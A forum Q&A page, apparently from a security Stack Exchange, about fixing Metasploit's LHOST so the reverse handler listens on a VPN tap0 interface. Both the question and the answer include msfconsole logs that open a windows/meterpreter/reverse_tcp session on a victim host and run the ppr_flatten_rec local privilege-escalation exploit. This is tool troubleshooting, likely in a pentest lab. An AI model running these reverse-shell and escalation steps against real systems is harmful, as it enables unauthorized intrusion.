1

When I use metasploit in Kali Linux rolling release updated to date, when using exploit/multi/handler with windows/meterpreter/reverse_tcp and local exploits over meterpreter, the LHOST field is automatically changed to the Wi-Fi interface IP, when in fact I want to use tap0 which is the VPN interface.

I have tried to solve the problem with:

set LHOST <tap0 IP>
setg LHOST <tap0 IP>
set INTERFACE tap0
setg INTERFACE tap0
set interface tap0
set interface tap0

But then when using the run command, the victim tries to connect to my Wi-Fi IP, which obviously is not reachable from the VPN.

I have had this problem for at least 6 months, regardless of when I update Kali or metasploit. I appreciate if anyone knows what is the correct way to configure metasploit.

[Edit: More details]

Example of the problem:

msf exploit(windows/local/ppr_flatten_rec) > set SESSION 1 SESSION => 1 msf exploit(windows/local/ppr_flatten_rec) > set LHOST 192.168.0.1 LHOST => 192.168.0.1 msf exploit(windows/local/ppr_flatten_rec) > run [*] Started reverse TCP handler on 192.168.85.158:4444

The whole context is:

msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.0.1:443 
[*] Sending stage (179779 bytes) to 192.168.22.55
[*] Meterpreter session 1 opened (192.168.0.1:443 -> 192.168.22.55:49202) at 2018-01-10 23:27:30 -0500

meterpreter > 
Background session 1? [y/N]  

msf exploit(multi/handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(windows/local/ppr_flatten_rec) > set SESSION 1
SESSION => 1
msf exploit(windows/local/ppr_flatten_rec) > set LHOST **192.168.0.1**
LHOST => 192.168.0.1
msf exploit(windows/local/ppr_flatten_rec) > run

[*] Started reverse TCP handler on **192.168.85.158**:4444 
[-] Exploit aborted due to failure: not-vulnerable: Exploit not available on this system.
[*] Exploit completed, but no session was created.
msf exploit(windows/local/ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.85.158   yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
  • I googled your question and got this hit: github.com/rapid7/metasploit-framework/issues/8287 – schroeder Jan 11 '18 at 15:16
  • To be more clear with my previous comment: I use set LHOST <TAP-IP>. I know the exploit is using the WIFI-IP when I see metasploit opening the port and showing the WIFI-IP:PORT instead of TAP-IP:PORT. – Kali User Jan 11 '18 at 15:47
  • yes, you set the LHOST for the exploit, but you need to run the listener separately on the IP you want – schroeder Jan 11 '18 at 15:49
  • Yes, this is why I use: msf exploit(multi/handler) > set LHOST 192.168.0.1 and after that: msf exploit(windows/local/ppr_flatten_rec) > set LHOST 192.168.0.1 – Kali User Jan 11 '18 at 15:50
  • You forgot set payload in your sample input above. set payload before set LHOST. – Mukesh Sai Kumar Jan 11 '18 at 17:59
0

The solution to my problem was explained in the comments by Mukesh (many thank to schroeder for having the time to help me to structure better the question). The solution is to set PAYLOAD again before each local exploit you are going to use.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.0.1:4444 
[*] Sending stage (847604 bytes) to 192.168.0.158
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 192.168.0.158:57772) at 2018-01-11 16:30:40 -0500

meterpreter > background 
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(ppr_flatten_rec) > set PAYLOAD windows/meterpreter/reverse_tcp  <------- [previously this was missing]
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(ppr_flatten_rec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(ppr_flatten_rec) > set LPORT 4445
LPORT => 4445
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.1     yes       The listen address
   LPORT     4445             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(ppr_flatten_rec) > set SESSION 1
SESSION => 1
msf exploit(ppr_flatten_rec) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.1:4445  <----- [Now the IP is the correct one]

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.